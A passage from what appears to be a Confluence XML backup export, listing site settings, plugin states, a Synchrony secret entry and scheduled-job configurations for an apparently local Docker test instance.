<id name="id">32771</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.settings]]></property>
|
||||
<property name="value"><![CDATA[<settings>
|
||||
<doNotSave>false</doNotSave>
|
||||
<allowCamelCase>false</allowCamelCase>
|
||||
<allowTrackbacks>false</allowTrackbacks>
|
||||
<allowThreadedComments>true</allowThreadedComments>
|
||||
<externalUserManagement>false</externalUserManagement>
|
||||
<denyPublicSignup>true</denyPublicSignup>
|
||||
<emailAdminMessageOff>false</emailAdminMessageOff>
|
||||
<almostSupportPeriodEndMessageOff>false</almostSupportPeriodEndMessageOff>
|
||||
<senMissingInLicenseMessageOff>true</senMissingInLicenseMessageOff>
|
||||
<baseUrlAdminMessageOff>false</baseUrlAdminMessageOff>
|
||||
<allowRemoteApi>false</allowRemoteApi>
|
||||
<allowRemoteApiAnonymous>false</allowRemoteApiAnonymous>
|
||||
<antiXssMode>true</antiXssMode>
|
||||
<gzippingResponse>true</gzippingResponse>
|
||||
<disableLogo>false</disableLogo>
|
||||
<sharedMode>false</sharedMode>
|
||||
<enableDidYouMean>false</enableDidYouMean>
|
||||
<enableQuickNav>true</enableQuickNav>
|
||||
<enableSpaceStyles>false</enableSpaceStyles>
|
||||
<enableOpenSearch>true</enableOpenSearch>
|
||||
<showSystemInfoIn500Page>false</showSystemInfoIn500Page>
|
||||
<showApplicationTitle>false</showApplicationTitle>
|
||||
<captchaSettings>
|
||||
<enableCaptcha>false</enableCaptcha>
|
||||
<enableDebug>false</enableDebug>
|
||||
<captchaGroups class="list"/>
|
||||
<exclude>registered</exclude>
|
||||
</captchaSettings>
|
||||
<customHtmlSettings>
|
||||
<beforeHeadEnd></beforeHeadEnd>
|
||||
<afterBodyStart></afterBodyStart>
|
||||
<beforeBodyEnd></beforeBodyEnd>
|
||||
</customHtmlSettings>
|
||||
<colourSchemesSettings>
|
||||
<colourSchemeType>custom</colourSchemeType>
|
||||
</colourSchemesSettings>
|
||||
<loginManagerSettings>
|
||||
<enableElevatedSecurityCheck>true</enableElevatedSecurityCheck>
|
||||
<loginAttemptsThreshold>3</loginAttemptsThreshold>
|
||||
</loginManagerSettings>
|
||||
<confluenceHttpParameters>
|
||||
<connectionTimeout>10000</connectionTimeout>
|
||||
<socketTimeout>10000</socketTimeout>
|
||||
<enabled>true</enabled>
|
||||
</confluenceHttpParameters>
|
||||
<attachmentMaxSize>104857600</attachmentMaxSize>
|
||||
<auditLogRetentionNumber>3</auditLogRetentionNumber>
|
||||
<auditLogRetentionUnit>Years</auditLogRetentionUnit>
|
||||
<draftSaveInterval>30000</draftSaveInterval>
|
||||
<maxAttachmentsInUI>5</maxAttachmentsInUI>
|
||||
<siteTitle>Confluence</siteTitle>
|
||||
<documentationUrlPattern>http://docs.atlassian.com/confluence/docs-{0}/{1}</documentationUrlPattern>
|
||||
<showContactAdministratorsForm>true</showContactAdministratorsForm>
|
||||
<emailAddressVisibility>email.address.public</emailAddressVisibility>
|
||||
<defaultEncoding>UTF-8</defaultEncoding>
|
||||
<maxThumbHeight>300</maxThumbHeight>
|
||||
<maxThumbWidth>300</maxThumbWidth>
|
||||
<backupAttachmentsDaily>true</backupAttachmentsDaily>
|
||||
<backupDaily>true</backupDaily>
|
||||
<backupPath>/var/atlassian/application-data/confluence/backups</backupPath>
|
||||
<nofollowExternalLinks>true</nofollowExternalLinks>
|
||||
<indexingLanguage>english</indexingLanguage>
|
||||
<globalDefaultLocale>en_GB</globalDefaultLocale>
|
||||
<dailyBackupFilePrefix>backup-</dailyBackupFilePrefix>
|
||||
<dailyBackupDateFormatPattern>yyyy_MM_dd</dailyBackupDateFormatPattern>
|
||||
<supportRequestEmail>confluence-autosupportrequests@atlassian.com</supportRequestEmail>
|
||||
<defaultSpaceHomepageTitle>Home</defaultSpaceHomepageTitle>
|
||||
<baseUrl>http://nessus-docker.local:8090</baseUrl>
|
||||
<attachmentDataStore>file.system.based.attachments.storage</attachmentDataStore>
|
||||
<displayLinkIcons>false</displayLinkIcons>
|
||||
<addWildcardsToUserAndGroupSearches>true</addWildcardsToUserAndGroupSearches>
|
||||
<xsrfAddComments>true</xsrfAddComments>
|
||||
<webSudoTimeout>10</webSudoTimeout>
|
||||
<webSudoEnabled>true</webSudoEnabled>
|
||||
<defaultUsersGroup>confluence-users</defaultUsersGroup>
|
||||
<attachmentSecurityLevel>smart</attachmentSecurityLevel>
|
||||
<enableJavascriptTop>true</enableJavascriptTop>
|
||||
<supportPeriodEndMessageOff>false</supportPeriodEndMessageOff>
|
||||
<enableWysiwyg>true</enableWysiwyg>
|
||||
<useWysiwygByDefault>true</useWysiwygByDefault>
|
||||
<numberOfBreadcrumbAncestors>1</numberOfBreadcrumbAncestors>
|
||||
<viewSpaceGoesToSpaceSummary>false</viewSpaceGoesToSpaceSummary>
|
||||
<enableLikes>false</enableLikes>
|
||||
<currentIndexVersion>0</currentIndexVersion>
|
||||
<maintenanceBannerMessageOn>false</maintenanceBannerMessageOn>
|
||||
<maxSimultaneousQuickNavRequests>40</maxSimultaneousQuickNavRequests>
|
||||
<maxRssItems>200</maxRssItems>
|
||||
<rssTimeout>60</rssTimeout>
|
||||
<pageTimeout>120</pageTimeout>
|
||||
</settings>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32769</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.server.id]]></property>
|
||||
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32786</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.space.settings]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.setup.settings.SpaceSettings>
|
||||
<spaceKey>ds</spaceKey>
|
||||
<disableLogo>false</disableLogo>
|
||||
<colourSchemesSettings>
|
||||
<colourSchemeType>global</colourSchemeType>
|
||||
</colourSchemesSettings>
|
||||
<doNotSave>false</doNotSave>
|
||||
</com.atlassian.confluence.setup.settings.SpaceSettings>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32787</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[sidebar.nav-type]]></property>
|
||||
<property name="value"><![CDATA[<string>page-tree</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32784</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.theme.settings]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>theme.key</string>
|
||||
<string></string>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32785</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.css.resource.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>4</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32782</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.plugin.resource.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>2</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32783</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[copyspace.copier.spacekey]]></property>
|
||||
<property name="value"><![CDATA[<string>DEMO</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32780</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_950DC3_#]]></property>
|
||||
<property name="value"><![CDATA[<string>20</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32781</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[plugin.manager.state.Map]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-trashed-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-trashed-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-page-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-moved-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.synchrony-interop</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:request-access-notification-email-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-hipchat-integration-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-less-users-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.plugins.base-hipchat-integration-plugin-api</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-update-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-no-spaces-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.plugins.base-hipchat-integration-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-new-mail-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-notifications-batch-plugin:batching-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-attachment-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-draft-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-resolve-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-reply-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-hipchat-emoticons-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-page-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:forgot-password-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-remove-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:grant-access-notification-email-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-hipchat-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.labs.hipchat.confluence-hipchat</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32778</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_9412A1_#]]></property>
|
||||
<property name="value"><![CDATA[<string>8</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32779</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_7B47A5_#]]></property>
|
||||
<property name="value"><![CDATA[<string>4</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32776</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_187CCC_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32777</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.plugins.pulp]]></property>
|
||||
<property name="key"><![CDATA[version.history]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>7.19.12</string>
|
||||
<string>2023-11-09T06:02:36.753Z</string>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32774</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_21D670_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="Secrets" package="com.atlassian.synchrony">
|
||||
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad]]></id>
|
||||
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32775</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_A0B856_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32772</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_UUID]]></property>
|
||||
<property name="value"><![CDATA[<string>d32aafab-7f6d-4630-a017-f69b71948e20</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32773</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.plugin-installed-date-in-millis]]></property>
|
||||
<property name="value"><![CDATA[<string>1699509752102</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32866</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#DailyReportJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32867</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#cacheStatsJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32864</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#BackupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32865</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SynchronyEventsSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32862</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#MailQueueFlushJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32863</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SchedulerRunDetailsPurgeJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32860</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClearExpiredRememberMeTokensJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32861</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SynchronyEventsHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32858</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SystemMaintenanceTaskQueueFlusherScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32859</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClusterSafetyJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32856</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#IndexSnapshotCleaner]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32857</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JmxAppLoggingJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32854</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#EhCacheCompactionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32855</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ReIndexHouseKeepingScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32852</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#LocalTaskQueueFlushJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32853</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#TrashHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32882</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#reminderJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
